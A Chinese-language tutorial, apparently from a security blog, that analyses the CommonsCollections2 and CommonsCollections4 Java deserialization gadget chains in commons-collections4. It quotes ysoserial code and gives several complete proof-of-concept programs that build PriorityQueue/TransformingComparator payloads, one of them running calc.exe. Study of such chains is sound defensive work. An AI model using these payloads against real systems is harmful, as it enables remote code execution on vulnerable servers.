CommonsCollections2和CommonsCollections4具有一个共同的特征:使用commons-collections4而非commons-collections
commons-collections4 在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有两个分⽀版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
由于commons-collections存在一些Api和架构上的设计问题,若进行修复会存在向前兼容问题。因此官网推出commons-collections4。commons-collections4并非commons-collections的替代品,而是一个新的包,因此两者可共存在一个项目中。
commons-collections4中的CC链 回忆前面学过的CC链,核心部分为commons-collections库中的各个Transformer类以及LazyMap类。在commons-collections4中这些类是否还适用?
这里使用CC6进行尝试,发现LazyMap#decorate()
发生报错。
在commons-collections中LazyMap#decorate()
用来生成LazyMap实例化对象。查看commons-collections4中的LazyMap,发现decorate()
方法被更改为lazyMap()
。
在源码中进行更改后,可以成功执行。
除了LazyMap外,TransformedMap经过稍微更改也可以在commons-collections4中执行。
CommonsCollections2链 查看ysoserial中CommonsCollections2的代码,可以发现引入了两个新的类:PriorityQueue、TransformingComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class CommonsCollections2 implements ObjectPayload <Queue<Object>> { public Queue<Object> getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = 1 ; return queue; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
PriorityQueue是一个优先队列,优先队列每次出队时的元素都是优先级最高的元素。TransformingComparator是比较器,其用来对队列中的元素进行比较,并指定优先级
由ysoserial可以看到PriorityQueue即最后进行序列化的类。
反序列化流程从PriorityQueue#readObject()
开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
跟进heapify()
,查看ysoserial可以发现这里的queue[0]
为templates
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
跟进siftDown(int k, E x)
。这里的comparator
为TransformingComparator
,很显然不为null
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
跟进siftDownUsingComparator(int k, E x)
。这里执行了comparator.compare(x, (E) c)
,参数x为templates。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
查看TransformingComparator#compare()
。查看ysoserial可以发现这里的this.transformer
为InvokerTransformer
。
1 2 3 4 5 public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
在ysoserial中,通过反射将InvokerTransformer#iMethodName
赋值为newTransformer
。
1 Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" );
因此反序列化时相当于执行了InvokerTransformer.transform(templates)
根据ysoserial思路尝试自己构造POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CommonsCollections2 { static void SetFieldValue (String FieldName,Object object,Object value) throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true ); field.set(object,value); } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR" ); SetFieldValue("_name" , templates, "name" ); SetFieldValue("_bytecodes" , templates, new byte [][]{bytes}); SetFieldValue("_tfactory" , templates, new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer=new InvokerTransformer <>("toString" ,null ,null ); PriorityQueue priorityQueue=new PriorityQueue (2 , new TransformingComparator (invokerTransformer)); priorityQueue.add(templates); priorityQueue.add(templates); SetFieldValue("iMethodName" ,invokerTransformer,"newTransformer" ); File file = new File ("./a.txt" ); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); FileInputStream fileInputStream = new FileInputStream (file); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectOutputStream.writeObject(priorityQueue); Object o=objectInputStream.readObject(); } }
除了使用TemplatesImpl外,当然也可以使用ChainedTransformer。
这里的priorityQueue.add()
和使用TemplatesImpl不同,调试一下代码即可了解原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections2 { static void SetFieldValue (String FieldName,Object object,Object value) throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true ); field.set(object,value); } public static void main (String[] args) throws Exception { Transformer[] faketransformers=new Transformer []{ new ConstantTransformer (1 ) }; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"C:\\Windows\\System32\\calc.exe" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (faketransformers); PriorityQueue priorityQueue=new PriorityQueue (2 , new TransformingComparator (chainedTransformer)); priorityQueue.add(1 ); priorityQueue.add(2 ); SetFieldValue("iTransformers" ,chainedTransformer,transformers); File file = new File ("./a.txt" ); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); FileInputStream fileInputStream = new FileInputStream (file); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectOutputStream.writeObject(priorityQueue); Object o=objectInputStream.readObject(); } }
CommonsCollections4链 同样从ysoserial代码入手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public Queue<Object> getObject (final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer (String.class); Class[] paramTypes = new Class [] { String.class }; Object[] args = new Object [] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer ( paramTypes, args); paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes" ); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs" ); ChainedTransformer chain = new ChainedTransformer (new Transformer [] { constant, instantiate }); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , new TransformingComparator (chain)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(constant, "iConstant" , TrAXFilter.class); paramTypes[0 ] = Templates.class; args[0 ] = templates; return queue; }
看一下代码中用到的类。很明显CC4是CC2和CC3的结合。
回忆CC3,核心代码如下:
1 2 3 4 Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) };
根据ysoserial中的思路,我们可以构造如下代码:
比较简单,就不逐行分析了。最后在TransformingComparator#compare()
中执行了ChainedTransformer#transform()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CommonsCollections4 { static void SetFieldValue (String FieldName,Object object,Object value) throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true ); field.set(object,value); } public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR" ); SetFieldValue("_name" , templates, "name" ); SetFieldValue("_bytecodes" , templates, new byte [][]{bytes}); SetFieldValue("_tfactory" , templates, new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; Transformer[] fakeTransformers=new Transformer []{new ConstantTransformer (1 )}; ChainedTransformer chainedTransformer=new ChainedTransformer (fakeTransformers); PriorityQueue priorityQueue=new PriorityQueue (2 ,new TransformingComparator (chainedTransformer)); priorityQueue.add(1 ); priorityQueue.add(2 ); SetFieldValue("iTransformers" ,chainedTransformer,transformers); File file = new File ("./a.txt" ); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); FileInputStream fileInputStream = new FileInputStream (file); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectOutputStream.writeObject(priorityQueue); Object o=objectInputStream.readObject(); } }
除此之外,如果能够理解上面CommonsCollections2给的两个例子。这里就可以很容易写出不使用ChainedTransformer
的demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CommonsCollections4 { static void SetFieldValue (String FieldName,Object object,Object value) throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true ); field.set(object,value); } public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR" ); SetFieldValue("_name" , templates, "name" ); SetFieldValue("_bytecodes" , templates, new byte [][]{bytes}); SetFieldValue("_tfactory" , templates, new TransformerFactoryImpl ()); Transformer transformer=new ConstantTransformer (1 ); InstantiateTransformer instantiateTransformer=new InstantiateTransformer <>(new Class []{Templates.class},new Object []{templates}); TransformingComparator transformingComparator=new TransformingComparator (transformer); PriorityQueue priorityQueue=new PriorityQueue <>(2 , transformingComparator); priorityQueue.add(TrAXFilter.class); priorityQueue.add(TrAXFilter.class); SetFieldValue("transformer" ,transformingComparator,instantiateTransformer); File file = new File ("./a.txt" ); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); FileInputStream fileInputStream = new FileInputStream (file); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectOutputStream.writeObject(priorityQueue); Object o=objectInputStream.readObject(); } }
总结 CommonsCollections2和CommonsCollections4的核心就是:
1 new PriorityQueue (2 , new TransformingComparator (Transformer<? super I, ? extends O > transformer)
PriorityQueue#readObject()
->TransformingComparator#compare()
->Transformer#transform(new Object())
,transform()
的参数通过PriorityQueue#add()
获取。